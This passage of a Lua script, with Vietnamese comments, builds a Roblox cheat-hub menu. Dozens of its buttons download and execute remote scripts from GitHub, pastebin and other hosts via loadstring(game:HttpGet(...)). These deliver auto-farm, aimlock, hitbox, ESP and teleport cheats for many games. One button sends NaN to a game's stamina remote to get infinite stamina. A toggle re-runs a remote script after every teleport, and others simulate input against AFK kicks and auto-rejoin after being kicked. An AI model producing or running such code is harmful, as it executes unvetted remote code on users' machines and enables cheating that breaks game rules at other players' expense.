loadstring(game:HttpGet("https://raw.githubusercontent.com/Teddyseetink/Haidepzai/refs/heads/main/TEDDYHUB-FREEMIUM"))()
end
})
local Kaitunbf = tabs.Bloxfruit:AddSection("Kaitun")
Kaitunbf:AddButton({
Title = "Xero Hub",
Description = "Need Key",
Callback = function()
-- Max level, godhuman, cdk, sgt
script_key = "" -- premium only, u can leave it blank if ur not
getgenv().Shutdown = false -- Turn on if u are farming bulk accounts
getgenv().Configs = {
["Team"] = "Marines",
["FPS Boost"] = {
["Enable"] = true,
["FPS Cap"] = 30,
},
["Farm Boss Drops"] = {
["Enable"] = false,
["When x2 Exp Expired"] = false
},
["Hop"] = { -- premium only
["Enable"] = true,
["Hop Find Tushita"] = true,
["Hop Find Valkyrie Helm"] = true,
["Hop Find Mirror Fractal"] = true,
["Hop Find Darkbeard"] = true, -- For skull guitar
["Hop Find Soul Reaper"] = true, -- For CDK
["Hop Find Mirage"] = true, -- For pull lever
["Find Fruit"] = true, -- Will find 1m+ fruit to unlock swan door to access third sea
},
["Farm Mastery"] = {
["Enable"] = true,
["Farm Mastery Weapons"] = {"Sword", "Gun", "Blox Fruit"}, -- Blox Fruit, Gun (left -> right: High -> Low Priority)
["Swords To Farm"] = {"Cursed Dual Katana"},
["Guns To Farm"] = {"Skull Guitar"},
["Mastery Health (%)"] = 40 -- For Blox Fruit, Gun
},
["Farm Config"] = {
["First Farm At Sky"] = true,
["Farm Bone Get x2 Exp"] = true
},
["Trackstat"] = {
["Enable"] = false,
["Key"] = "", -- Get from xerohub.click
["Device"] = "test" -- u can put any name here
},
["Auto Spawn rip_indra"] = true,
["Auto Spawn Dough King"] = true,
["Auto Pull Lever"] = true,
["Auto Collect Berry"] = true,
["Auto Evo Race"] = true,
["Awaken Fruit"] = true,
["Rainbow Haki"] = true,
["Hop Player Near"] = true,
["Skull Guitar"] = true,
["Cursed Dual Katana"] = true,
["Switch Melee"] = true,
["Eat Fruit"] = "", -- leave blank for none, put the fruit name like this example: Smoke Fruit, T-Rex Fruit, ...
["Snipe Fruit"] = "", -- leave blank for none, put the fruit name like this example: Smoke Fruit, T-Rex Fruit, ...
["Lock Fragment"] = 30000,
["Buy Stuffs"] = true -- buso, geppo, soru, ken haki, ...
}
repeat task.wait() pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Xero2409/XeroHub/refs/heads/main/kaitun.lua"))() end) until getgenv().Check_Execute
end
}) Kaitunbf:AddButton({
Title = "RoyX Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/TDDuym500/Duym500/refs/heads/main/RoyX%20Kaitun"))()
end
}) Kaitunbf:AddButton({
Title = "Simple Hub",
Description = "",
Callback = function()
getgenv().simple_settings = {
["MASTERY"] = { -- Settings related to leveling up weapon or skill mastery
["ACTIVE"] = true, -- Enable or disable mastery leveling (true = enabled, false = disabled)
["METHOD"] = "Half", -- Method for gaining mastery, "Half"[350] or "Full"[600]
},
["RAID"] = {
["MODE"] = "Legit", -- Legit / KillAura (Legit mode is Mob aura in raid)
},
["OBJECTIVE"] = { -- Goals for farming and unlocking features
["GODHUMAN"] = true, -- Automatically unlock the "Godhuman" fighting style
["RACE-CONFIGURE"] = {
["RACE"] = {"Human", "Skypiea", "Fishman", "Mink"}, -- List -- "Human", "Skypiea", "Fishman", "Mink"
["RACE-LOCK"] = true, -- Automatically change the character race if not in the list
["RACE-V3"] = true, -- Automatically upgrade character race to V3 if possible Human, Mink, (Fishman, Ghoul, Cyborg) soon
},
["FRAGMENT"] = 100000, -- Limit number of fragments to collect
-- SWORD
["CANVANDER"] = true,
["BUDDY-SWORD"] = true,
["CURSED-DUAL-KATANA"] = true,
["SHARK-ANCHOR"] = true,
--GUN
["ACIDUM-RIFLE"] = true,
["VENOM-BOW"] = true,
["SOUL-GUITAR"] = true,
-- AURA
["COLOR-HAKI"] = {"Pure Red","Winter Sky","Snow White"}, -- Aura color to craft
},
["FRUITPURCHASE"] = true, -- Automatically purchase fruits based on priority list
["PRIORITYFRUIT"] = { -- List of preferred fruits to purchase or eat in order of priority
[1] = "Dragon-Dragon",
[2] = "Dough-Dough",
[3] = "Flame-Flame",
[4] = "Rumble-Rumble",
[5] = "Human-Human: Buddha",
[6] = "Dark-Dark",
},
["FPSCAP"] = 30, -- Limit the frame rate to optimize performance
["LOWTEXTURE"] = true -- Reduce graphic quality for better performance
}
loadstring(game:HttpGet("https://raw.githubusercontent.com/simple-hubs/contents/refs/heads/main/bloxfruit-kaitan-main.lua"))()
end
}) Kaitunbf:AddButton({
Title = "Quartyz ( Mukuro Hub )",
Description = "Need Key",
Callback = function()
getgenv().Mode = "OneClick"
getgenv().Setting = {
["Team"] = "Marines", -- Options "Pirates", "Marines"
["FucusOnLevel"] = true,
["Fruits"] = { -- setting for fruits u want
["Primary"] = { -- if current fruit is not in this list, eat/buy
"Dough-Dough",
"Dragon-Dragon",
"Buddha-Buddha",
-- u can configs add mores/remove and must end with , (comma symbol)
},
["Normal"] = { -- it just a normal fruit list
"Flame-Flame",
"Light-Light",
"Magma-Magma",
-- u can configs add mores/remove and must end with , (comma symbol)
}
-- run this for get all fruit name `local t={};for _,v in pairs(game.ReplicatedStorage.Remotes.CommF_:InvokeServer("GetFruits"))do table.insert(t,v.Name)end;setclipboard(table.concat(t, "\n"))`
},
["Lock Fruits"] = { -- don't use or eat fruits in this list
"Yeti-Yeti",
},
["IdleCheck"] = 300, -- every (x) seconds if not moving rejoin
};
loadstring(game:HttpGet("https://raw.githubusercontent.com/xQuartyx/QuartyzScript/main/Loader.lua"))()
end
})
local Autobounty = tabs.Bloxfruit:AddSection("Auto Bounty [Copy script and cofig]")
Autobounty:AddButton({
Title = "Lion Hub",
Description = "",
Callback = function()
setclipboard("https://anotepad.com/notes/hmg9h77x")
Fluent:Notify({
Title = "Copied",
Content = "",
Duration = 5
})
end
}) Autobounty:AddButton({
Title = "Vxeze Hub",
Description = "",
Callback = function()
setclipboard("https://anotepad.com/notes/8etsc47j")
Fluent:Notify({
Title = "Copied",
Content = "",
Duration = 5
})
end
})
local Autofruit = tabs.Bloxfruit:AddSection("Find Fruit [Copy script and cofig]")
Autofruit:AddButton({
Title = "BlueX Hub",
Description = "",
Callback = function()
setclipboard("https://anotepad.com/notes/n5khegyx")
Fluent:Notify({
Title = "Copied",
Content = "",
Duration = 5
})
end
}) Autofruit:AddButton({
Title = "Turbo Lite",
Description = "",
Callback = function()
setclipboard("https://anotepad.com/notes/fxmq5ced")
Fluent:Notify({
Title = "Copied",
Content = "",
Duration = 5
})
end
})
-------[ Grow a Garden ]--------
tabs.Growagarden:AddButton({
Title = "TBao Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/tbao143/game/refs/heads/main/TbaoHubGrowGarden"))()
end
}) tabs.Growagarden:AddButton({
Title = "Ameicaa",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ameicaa1/Grow-a-Garden/main/Grow_%E2%80%8BA_%E2%80%8BGarden.lua"))()
end
}) tabs.Growagarden:AddButton({
Title = "Vxeze Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Dex-Bear/Vxezehub/refs/heads/main/VxezeHubMain"))()
end
}) tabs.Growagarden:AddButton({
Title = "Tora IsMe",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/gumanba/Scripts/main/GrowaGarden"))()
end
}) tabs.Growagarden:AddButton({
Title = "Speed Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/AhmadV99/Speed-Hub-X/main/Speed%20Hub%20X.lua", true))()
end
}) tabs.Growagarden:AddButton({
Title = "NoLag Hub",
Description = "",
Callback = function()
repeat wait() until game:IsLoaded() and game.Players.LocalPlayer
local scripts = {
[126884695634066] = "https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/Garden/Garden-V1.lua",
[81440632616906] = "https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/DigEarth/V1.lua",
}
local url = scripts[game.PlaceId]
if url then
loadstring(game:HttpGetAsync(url))()
loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/untitled.lua"))()
end
end
}) tabs.Growagarden:AddButton({
Title = "Space Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/ago106/SpaceHub/refs/heads/main/Multi'))()
end
})
tabs.Bluelock:AddButton({
Title = "Alchemy Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://scripts.alchemyhub.xyz"))()
end
}) tabs.Bluelock:AddButton({
Title = "Bill Dev",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/selciawashere/screepts/refs/heads/main/BLRTBDMOBILEKEYSYS",true))()
end
}) tabs.Bluelock:AddButton({
Title = "NS Hub",
Description = "Need Key",
Callback = function()
end
}) tabs.Bluelock:AddButton({
Title = "Lunor",
Description = "",
Callback = function()
loadstring(game:HttpGet("loadstring(game:HttpGet('https://raw.githubusercontent.com/Just3itx/Lunor-Loadstrings/refs/heads/main/Loader'))()"))()
end
}) tabs.Bluelock:AddButton({
Title = "Omg Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/UPD-Blue-Lock:-Rivals-OMG-Hub-29091"))()
end
}) tabs.Bluelock:AddButton({
Title = "Arbix",
Description = "",
Callback = function()
loadstring(game:HttpGet(('https://pastefy.app/O3F7JYSF/raw'),true))()
end
}) tabs.Bluelock:AddButton({
Title = "Tbao Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/tbao143/game/refs/heads/main/TbaoHubBlueLockRivals"))()
end
}) tabs.Bluelock:AddButton({
Title = "Style Need Reo",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/D1M2PLua", true))()
end
}) tabs.Bluelock:AddButton({
Title = "Inf Stamina",
Description = "",
Callback = function()
local args = {
[1] = 0/0
}
game:GetService("ReplicatedStorage"):WaitForChild("Packages"):WaitForChild("Knit"):WaitForChild("Services"):WaitForChild("StaminaService"):WaitForChild("RE"):WaitForChild("DecreaseStamina"):FireServer(unpack(args))
end
}) tabs.Bluelock:AddButton({
Title = "Auto Slide, Dribble",
Description = "",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/Maybie/BlueLock/refs/heads/main/BLR.lua',true))()
end
}) tabs.Bluelock:AddButton({
Title = "Sterling",
Description = "",
Callback = function()
local GuiService = game:GetService("GuiService")
local Players = game:GetService("Players")
local TeleportService = game:GetService("TeleportService")
local player = Players.LocalPlayer
local function onerrorMessageChanged(errorMessage)
if errorMessage and errorMessage ~= "" then
print("Error detected: " .. errorMessage)
if player then
wait()
TeleportService:Teleport(game.PlaceId, player)
end
end
end
GuiService.ErrorMessageChanged:Connect(onerrorMessageChanged)
loadstring(game:HttpGet("https://raw.githubusercontent.com/Zayn31214/name/refs/heads/main/SterlingNew"))()
end
}) tabs.Bluelock:AddButton({
Title = "Over Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet('https://api.overhub.xyz/keys/script/overhub'))()
end
}) tabs.Bluelock:AddButton({
Title = "Imp Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/alan11ago/Hub/refs/heads/main/ImpHub.lua"))()
end
}) tabs.Bluelock:AddButton({
Title = "Ronix Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/c84ecefd7fa63a35d454d3ecefe3ee7e.lua"))()
end
}) tabs.Fisch:AddButton({
Title = "Deng Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/DENGHUB2025/HUGHUB/main/WL", true))()
end
}) tabs.Fisch:AddButton({
Title = "Londne",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/londnee/code/refs/heads/main/Fisch.lua"))()
end
}) tabs.Fisch:AddButton({
Title = "Naoki Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://naokihub.vercel.app",true))()
end
}) tabs.Fisch:AddButton({
Title = "Kiciahook",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/kiciahook/kiciahook/refs/heads/main/loader.lua"))()
end
}) tabs.Fisch:AddButton({
Title = "Solix Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/debunked69/Solixreworkkeysystem/refs/heads/main/solix%20new%20keyui.lua"))()
end
}) tabs.Fisch:AddButton({
Title = "Raito Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Efe0626/RaitoHub/refs/heads/main/Script"))()
end
}) tabs.Fisch:AddButton({
Title = "Ronix Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/e4d72046eb884e9c01333d3e704fc2d7.lua"))()
end
}) tabs.Fisch:AddButton({
Title = "Krcrypt Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/3345-c-a-t-s-u-s/Kncrypt/refs/heads/main/sources/Fisch.lua"))()
end
}) tabs.Petgo:AddButton({
Title = "NS Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/OhhMyGehlee/go/refs/heads/main/is"))()
end
}) tabs.Petgo:AddButton({
Title = "Zap Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet('https://zaphub.xyz/Exec'))()
end
}) tabs.Petgo:AddButton({
Title = "Speed Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/AhmadV99/Speed-Hub-X/main/Speed%20Hub%20X.lua", true))()
end
}) tabs.Deedrails:AddButton({
Title = "NomDom Hub (Beta)",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/TDDuym500/CodeNoMaHoa/refs/heads/main/NomDomDeedRails.lua"))()
end
}) tabs.Deedrails:AddButton({
Title = "Tp All Map By Jonas",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/JonasThePogi/DeadRails/refs/heads/main/newloadstring"))()
end
}) tabs.Deedrails:AddButton({
Title = "Tbao Hub (Main)",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/tbao143/thaibao/refs/heads/main/TbaoHubDeadRails"))()
end
}) tabs.Deedrails:AddButton({
Title = "Tbao Hub (Tp Map)",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/tbao143/game/refs/heads/main/TbaoHubDeadRailsTp"))()
end
}) tabs.Deedrails:AddButton({
Title = "Tbao Hub (Fram Bond)",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/tbao143/game/refs/heads/main/TbaoHubDeadRailsFarm"))()
end
}) tabs.Deedrails:AddButton({
Title = "Tn Hub (Fram Bond)",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/thiennrb7/Script/refs/heads/main/autobond"))()
end
}) tabs.Deedrails:AddButton({
Title = "Npc Lock",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://pastefy.app/s542AG7U/raw"))()
end
}) tabs.Deedrails:AddButton({
Title = "Increase Hitbox + Aim lock",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://pastefy.app/o4SV2jjx/raw"))()
end
}) tabs.Deedrails:AddButton({
Title = "No Clip + Esp",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/gumanba/Scripts/refs/heads/main/DeadRails", true))()
end
}) tabs.Deedrails:AddButton({
Title = "Auto Fram Bond",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Marco8642/science/refs/heads/ok/dead%20rails"))()
end
}) tabs.Deedrails:AddButton({
Title = "Skull Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/hungquan99/SkullHub/main/loader.lua'))()
end
}) tabs.Deedrails:AddButton({
Title = "DHHz Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ducknovis/DHHz-hub/refs/heads/main/Dead-Rails.lua"))()
end
}) tabs.Deedrails:AddButton({
Title = "Deed Rails",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/thiennrb7/Script/refs/heads/main/Bringall"))()
end
}) tabs.Deedrails:AddButton({
Title = "Speed Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/AhmadV99/Speed-Hub-X/main/Speed%20Hub%20X.lua", true))()
end
}) tabs.Deedrails:AddButton({
Title = "Null Fire",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/InfernusScripts/Null-Fire/main/Loader"))()
end
}) tabs.Deedrails:AddButton({
Title = "Solix Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/debunked69/Solixreworkkeysystem/refs/heads/main/solix%20new%20keyui.lua"))()
end
}) tabs.Deedrails:AddButton({
Title = "Neox Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/hassanxzayn-lua/NEOXHUBMAIN/refs/heads/main/loader", true))()
end
}) tabs.Deedrails:AddButton({
Title = "Ronix Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/672a0ae340e8ce7e21a51e37c6bf0cc1.lua"))()
end
}) tabs.Deedrails:AddButton({
Title = "Spider Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/SpiderScriptRB/Dead-Rails-SpiderXHub-Script/refs/heads/main/SpiderXHub%202.0.txt"))()
end
}) tabs.Deedrails:AddButton({
Title = "Auto Bond Fake",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Emplic/deathrails/refs/heads/main/bond"))()
end
}) tabs.Deedrails:AddButton({
Title = "Vehicle Fly",
Description = "",
Callback = function()
Loadstring(game:HttpGet('https://raw.githubusercontent.com/GhostPlayer352/Test4/main/Vehicle%20Fly%20Gui'))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Arise Crossover By Perfectus",
Description = "I Don't Know",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Arise-Crossover-Keyless-Script-33926"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Twvz",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ZhangJunZ84/twvz/refs/heads/main/arisecrossover.lua"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Almechy Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://scripts.alchemyhub.xyz"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Elgato",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/meobeo8/elgato/a/Loader"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Skull Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/hungquan99/SkullHub/main/loader.lua'))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Tora IsMe",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/gumanba/Scripts/refs/heads/main/AriseCrossover"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Omg Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/OhhMyGehlee/y/refs/heads/main/hj"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Sky Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/SKOIXLL/SKYLOLAND/refs/heads/main/Load.lua"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Gentle Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/GentleScriptHub/GentleHub/refs/heads/main/Games"))()
end
}) tabs.Arisecrossover:AddButton({
Title = "Speed Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/AhmadV99/Speed-Hub-X/main/Speed%20Hub%20X.lua", true))()
end
}) tabs.Volleyball:AddButton({
Title = "Sterling Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Zayn31214/name/refs/heads/main/SterlingNew"))()
end
}) tabs.Basketball:AddButton({
Title = "Control Ball",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/RedJDark/CONTROL-SCRIPTT/refs/heads/main/CONTROL"))()
end
}) tabs.Tsb:AddButton({
Title = "Beecon Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/BaconBossScript/BeeconHub/main/BeeconHub"))()
end
}) tabs.Tsb:AddButton({
Title = "Phantasm",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ATrainz/Phantasm/refs/heads/main/Phantasm.lua"))()
end
}) tabs.Tsb:AddButton({
Title = "Speed Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/AhmadV99/Speed-Hub-X/main/Speed%20Hub%20X.lua", true))()
end
}) tabs.Mm2:AddButton({
Title = "Foggy Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FOGOTY/mm2-piano-reborn/refs/heads/main/scr"))()
end
}) tabs.Mm2:AddButton({
Title = "XHub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Au0yX/Community/main/XhubMM2"))()
end
}) tabs.Rivals:AddButton({
Title = "Ronix Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/e945f55997c4240abc865c0bcc2136c5.lua"))()
end
}) tabs.Rivals:AddButton({
Title = "Soluna",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://soluna-script.vercel.app/main.lua",true))()
end
})
local Supportscript = tabs.Misc:AddSection("Support Script")
Supportscript:AddButton({
Title = "Fly",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/TDDuym500/NomDomOnTop/refs/heads/main/NomDomFly"))()
end
}) Supportscript:AddButton({
Title = "Test Unc",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/TDDuym500/NomDomOnTop/refs/heads/main/UncTest"))()
end
})
local Fixlag = tabs.Misc:AddSection("Fix Lag")
Fixlag:AddButton({
Title = "Turbo Lite",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/TurboLite/Script/main/FixLag.lua"))()
end
}) Fixlag:AddButton({
Title = "Fix Lag 50%",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/TDDuym500/NomDomOnTop/refs/heads/main/FixLag"))()
end
}) Fixlag:AddButton({
Title = "Fix Lag 100%",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/TDDuym500/NomDomOnTop/refs/heads/main/SuperFixLag"))()
end
})
local Screen = tabs.Setting:AddSection("Screen")
local Lighting = game:GetService("Lighting")
local RunService = game:GetService("RunService")
local Buoi = false
local blur = Instance.new("BlurEffect")
blur.Size = 0
blur.Parent = Lighting
Screen:AddToggle("BuoiToggle", {
Title = "Blurry Screen",
Default = false,
Callback = function(state)
Buoi = state
end
})
-- Liên tục áp dụng hiệu ứng
spawn(function()
while task.wait() do
if Buoi then
blur.Size = 30
else
blur.Size = 0
end
end
end)
local Buoi = false
Screen:AddToggle("BuoiToggle", {
Title = "White Screen", -- Tên hiển thị trong UI
Default = false,
Callback = function(state)
Buoi = state
end
})
-- Chạy ẩn để liên tục kiểm tra trạng thái
spawn(function()
while task.wait() do
game:GetService("RunService"):Set3dRenderingEnabled(not Buoi)
end
end)
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local PlayerGui = player:WaitForChild("PlayerGui")
local Buoi = false
-- Tạo ScreenGui + Frame đen nếu chưa có
local gui = Instance.new("ScreenGui")
gui.Name = "BuoiOverlay"
gui.ResetOnSpawn = false
gui.IgnoreGuiInset = true
gui.Parent = PlayerGui
local blackOverlay = Instance.new("Frame")
blackOverlay.Size = UDim2.new(1, 0, 1, 0) -- Lấp đầy toàn bộ màn hình
blackOverlay.BackgroundColor3 = Color3.new(0, 0, 0) -- Màu đen
blackOverlay.BackgroundTransparency = 0 -- Không trong suốt, đen hoàn toàn
blackOverlay.Visible = false -- Mặc định là không hiển thị
blackOverlay.Parent = gui
-- Toggle
Screen:AddToggle("BuoiToggle", {
Title = "Black Screen",
Default = false,
Callback = function(state)
Buoi = state
blackOverlay.Visible = state -- Hiển thị hoặc ẩn màn hình đen
end
})
local Game = tabs.Setting:AddSection("Game")
-- Biến URL script chính
local ScriptURL = "https://raw.githubusercontent.com/TDDuym500/NomDom/refs/heads/main/NomDomHub.lua"
local AutoLoadEnabled = false
-- Thêm Toggle vào UI
Game:AddToggle("Enable Auto Load Script", {
Title = "Auto Load Script",
Default = false,
Callback = function(state)
AutoLoadEnabled = state
if AutoLoadEnabled then
-- Nếu bật toggle thì tải và chạy script
pcall(function()
local response = game:HttpGet(ScriptURL)
if response then
loadstring(response)()
else
warn("Không thể tải script từ URL.")
end
end)
-- Đảm bảo script tiếp tục chạy khi teleport server/game
local queue = queue_on_teleport or (syn and syn.queue_on_teleport)
if queue then
queue(("loadstring(game:HttpGet('%s'))()"):format(ScriptURL))
end
end
end
})
-- Lấy đối tượng LocalPlayer và TeleportService
local LocalPlayer = game.Players.LocalPlayer
local TeleportService = game:GetService("TeleportService")
-- Biến trạng thái cho toggle
local AutoRejoinEnabled = false -- Mặc định là tắt
-- Hàm tự động teleport khi bị kick hoặc mất kết nối
local function autoRejoin()
-- Lắng nghe sự kiện teleport
LocalPlayer.OnTeleport:Connect(function(status)
if AutoRejoinEnabled then -- Nếu tính năng tự động rejoin bật
if status == Enum.TeleportState.Failed then
-- Sau khi thất bại, teleport lại vào game
TeleportService:Teleport(game.PlaceId, LocalPlayer)
end
end
end)
-- Kết nối sự kiện OnKick để tự động teleport người chơi khi bị kick
LocalPlayer.OnKick:Connect(function(reason)
if AutoRejoinEnabled then -- Nếu tính năng tự động rejoin bật
-- Sau khi bị kick, teleport lại vào game
TeleportService:Teleport(game.PlaceId, LocalPlayer)
end
end)
end
-- Thêm toggle vào UI
Game:AddToggle("Enable Auto Rejoin", {
Title = "Auto Rejoin", -- Tiêu đề của toggle
Default = false, -- Mặc định là tắt
Callback = function(state)
AutoRejoinEnabled = state -- Cập nhật trạng thái của toggle (true/false)
end
})
local Anti = tabs.Setting:AddSection("Anti")
-- Thêm toggle vào UI
Anti:AddToggle("Antiband", {
Title = "Anti Band", -- Tiêu đề của toggle
Default = true, -- Mặc định là bật
Callback = function(state)
-- Có thể thêm mã tùy chỉnh khi bật/tắt tính năng Anti Band ở đây
end
})
-- Anti AFK
local isAntiAFKEnabled = false
Anti:AddToggle("AntiAFK", { -- Đổi tên để tránh trùng với các toggle khác
Title = "Anti AFK", -- Tiêu đề của toggle
Default = false, -- Mặc định là tắt
Callback = function(state)
isAntiAFKEnabled = state
if state then
-- Nếu toggle bật, bắt đầu mô phỏng click chuột
local VirtualUser = game:GetService("VirtualUser")
-- Mô phỏng click chuột mỗi phút
spawn(function()
while isAntiAFKEnabled do
wait(60) -- Chờ 1 phút
VirtualUser:CaptureController()
-- Mô phỏng click chuột phải
VirtualUser:ClickButton2(Vector2.new(0, 0))
-- Mô phỏng click chuột trái nhanh
VirtualUser:ClickButton1(Vector2.new(0, 0))
end
end)
end
end
})
local TweenService = game:GetService("TweenService")
local gui = Instance.new("ScreenGui")
gui.Name = "ToggleUIFluent"
gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
gui.Parent = game:GetService("CoreGui")
local button = Instance.new("ImageButton")
button.Size = UDim2.new(0, 50, 0, 50)
button.Position = UDim2.new(0.120833337 - 0.1, 0, 0.0952890813 + 0.01, 0)
button.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button.BorderSizePixel = 0
button.Image = "http://www.roblox.com/asset/?id=138569547227924"
button.Draggable = true
button.Parent = gui
-- Bo góc
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 12)
corner.Parent = button
-- Particle hiệu ứng
local particle = Instance.new("ParticleEmitter")
particle.Parent = button
particle.LightEmission = 1
particle.Size = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.1), NumberSequenceKeypoint.new(1, 0) })
particle.Lifetime = NumberRange.new(0.5, 1)
particle.Rate = 0
particle.Speed = NumberRange.new(5, 10)
particle.SpreadAngle = Vector2.new(360, 360)
particle.Color = ColorSequence.new(Color3.fromRGB(255, 85, 255), Color3.fromRGB(85, 255, 255))
-- Animation hover (tăng kích thước khi di chuột vào nút)
local hoverTween = TweenService:Create(button, TweenInfo.new(0.2, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out), { Size = UDim2.new(0, 55, 0, 55) })
local unhoverTween = TweenService:Create(button, TweenInfo.new(0.2, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out), { Size = UDim2.new(0, 50, 0, 50) })
-- Khi hover vào nút (hover effect)
button.MouseEnter:Connect(function()
hoverTween:Play()
end)
-- Khi rời chuột ra khỏi nút (unhover effect)
button.MouseLeave:Connect(function()
unhoverTween:Play()
end)
-- Khi bấm nút
button.MouseButton1Down:Connect(function()
-- Particle effect khi bấm
particle.Rate = 100
-- Reset particle sau 1s
task.delay(1, function()
particle.Rate = 0
end)
-- Gửi phím End để bật/tắt UI
